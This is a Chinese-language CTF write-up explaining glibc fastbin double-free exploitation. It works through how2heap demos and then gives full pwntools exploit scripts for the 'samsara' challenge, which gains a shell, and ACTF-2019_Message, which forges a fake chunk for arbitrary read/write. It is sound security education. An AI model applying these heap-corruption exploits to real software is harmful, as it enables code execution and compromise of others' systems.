「PWN」HEAP - Fastbin - Double Free
Double Free 是 Fastbin 里比较容易的一个利用,搞一下
整体原理比较简单,在ctf-wiki上可以看到。主要就是因为 fastbin 在检查时只检查链表头部且释放时不清除prev_in_use
在中也有相应的源码
测试
使用how2heap里的fastbin_dup.c和fastbin_dup_into_stack.c作为演示。
fastbin_dup.c
为了方便,我们关闭 ASLR 的地址随机化
gcc -g -m64 -no-pie fastbin_dup.c -o fastbin_dup
这里它先填充了 tcache,以便接下来的操作在 fastbin 中进行。
直接把断点下在line 20
,一步一步看他是怎么运行的
首先calloc
了三个chunk
,并释放掉第一个chunk
。可以看到第一个a
已经进入了 fastbins
此时如果我们再次释放a
,程序会崩溃,因为 fastbin 的检测会检查头部是否和释放的这个chunk
一致
bypass 的方法很简单,释放之前再释放一个别的 chunk 不就好了?直接跳到line 40
来看
现在的链表结构参考ctf-wiki
接下来我们再次calloc
, 由alloc
的机制我们知道他会先从 fastbin 的头部去取。
可以看到,a
和c
指向了同一个 chunk
fastbin_dup_into_stack.c
为了方便,我们关闭 ASLR 并使用glibc-2.23
作为动态解释器
gcc -g -m64 -no-pie fastbin_dup_into_stack.c -o fastbin_dup_into_stack
patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so fastbin_dup_into_stack
知道了 Double Free 的工作原理,怎么利用呢?这个文件给了我们答案。
类似于fasbin_dup.c,它申请了 3 个chunk
,这里我们不再赘述。直接跳到 34 行——也就是 Double Free 完成之后
重新申请一个 d,它拿去了a
所表示的 chunk,此时a
所表示的 chunk 是我们可控的 fastbin
注意这里
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
这个 stack_var 设置成0x20
是为了伪造一个fake_chunk
,由于检查时要求大小要一致所以这样设置。
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
这段话做了什么呢?
它将d
的contents
修改为了&stack_var-8
,可d
代表的 chunk 实际上还在 fastbin 中,而 fastbin 中这个位置的数据代表着也正好代表着fd
可以看到,链表上多出了一项,也就是0x40500
的fd
指针所指的位于栈上的地址。
接下来,我们只要再拿到这个 chunk,就可以进行任意写了。
实战
拿了两个最简单的模板题作为实验
samsara
先做必要的准备
patchelf --set-rpath /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ --set-interpreter /home/nova/Desktop/CTF/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so samsara
通过分析,我们可以知道几个功能的用途分别是add
,delete
,edit
,值得注意的是,delete
并不会修改cnt
,也没有把指针置 0
还要关注的是lair
和kingdom
这两个选项,
观察可以发现,lair
与pwn
隔得很近
我们能输出lair
的地址,那么pwn
的地址也自然可以获得了。
from pwn import *
sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")
def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")
def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")
def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr
def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved. \n")
def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()
先写好功能菜单,根据我们的想法,我们应该先申请 2 个 chunk,然后再删除 idx 为0, 1, 0
的 chunk
此时我们再次 add 一下,这个 chunk 的 fd 和 bk 指针就是可控的了。我们将其修改为lair-0x08
,也就是pwn-0x10
的位置——这样对这个 chunk 修改时,修改的地方正好是pwn
的位置。并修改 lair 的值为0x20
以 bypass 检查。
此时我们拿到这个位于栈上的 chunk 并修改其值为0xdeadbeef
即可拿到 shell
exp:
from pwn import *
sh = process(["./samsara"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def add():
sh.recvuntil(b"choice > ")
sh.sendline(b"1")
sh.recvuntil(b"Captured.\n")
def delete(idx: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"2")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Eaten.\n")
def edit(idx: int, content: bytes):
sh.recvuntil(b"choice > ")
sh.sendline(b"3")
sh.recvuntil(b"Index:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"Ingredient:\n")
sh.sendline(content)
sh.recvuntil(b"Cooked.")
def lair() -> int:
sh.recvuntil(b"choice > ")
sh.sendline(b"4")
sh.recvuntil(b"Your lair is at: ")
lair_addr = int(sh.recvuntil(b'\n', drop=True), 16)
return lair_addr
def kingdom(content: int):
sh.recvuntil(b"choice > ")
sh.sendline(b"5")
sh.recvuntil(b"Which kingdom?\n")
sh.sendline(str(content).encode())
sh.recvuntil(b"Moved.\n")
def pwn():
sh.recvuntil(b"choice > ")
sh.sendline(b"6")
sh.interactive()
add() # 0
add() # 1
delete(0)
delete(1)
delete(0)
add() # 2
lair_chunk = lair() - 0x08
kingdom(0x20)
edit(2, str(lair_chunk).encode())
add() # 3
add() # 4
add() # 5
edit(5, str(0xdeadbeef).encode())
pwn()
# gdb.attach(sh, 'b puts')
# sh.interactive()
ACTF-2019_Message
稍微复杂一点。保护除了 ASLR 是全开的。
观察可以发现漏洞
在delete
时程序释放时没有对指针进行置零,只对 size 位置零
根据show
和edit
函数,我们如果能修改array[4 * idx + 2]
的内容,那么也就可以做到任意地址读写。
也就是说,关键就在于如何在array
上制造一个fake chunk
按之前的思路,我们如果malloc 0, 1, 2
,并delete 1, 2, 1
,再malloc 3
,这个3
的content/fd
我们就可以指向array
,此时,我们再多次malloc
,就可以获得fake chunk
先写好菜单
from pwn import *
from typing import TypeVar, Callable
T = TypeVar("T", bound=Callable)
sh = process(["./ACTF_2019_message"])
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
def menu(idx: int):
def inner(func: T) -> T:
def wrapper(*arg, **kwargs):
sh.recvuntil(b"choice: ")
sh.sendline(str(idx).encode())
return func(*arg, **kwargs)
return wrapper
return inner
@menu(1)
def add(lengths: int, content: bytes):
sh.recvuntil(b"length of message:\n")
sh.sendline(str(lengths).encode())
sh.recvuntil(b"input the message:\n")
sh.sendline(content)
@menu(2)
def delete(idx: int):
sh.recvuntil(b"you want to delete:\n")
sh.sendline(str(idx).encode())
@menu(3)
def edit(idx: int, content: bytes):
sh.recvuntil(b"you want to edit:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"edit the message:\n")
sh.sendline(content)
@menu(4)
def show(idx: int) -> bytes:
sh.recvuntil(b"you want to display:\n")
sh.sendline(str(idx).encode())
sh.recvuntil(b"The message: ")
msg = sh.recvuntil(b"\n", drop=True)
return msg
值得注意的是,由于size
要相同,我们第 0 个 chunk 的大小应该比其他 chunk 大0x10
add(0x20, b'aaaaaa') # 0
add(0x10, b'aaaaaa')
add(0x10, b'aaaaaa')
delete(1)
delete(2)
delete(1)
add(0x10, p64(0x602060-0x08)) # 3
可以看到,我们在0x602060-0x08
的地方构造了一个fake_chunk
,如此一来,0x602060
便可以作为chunk_size
,而0
的chunk_addr
也就可以由fake_chunk
修改,chunk_addr
的内容也能由0
来读
add(0x10, b'aaaaaa') # 4
add(0x10, b'aaaaaa') # 5
add(0x10, b'aaaaaa') # 6 -> fake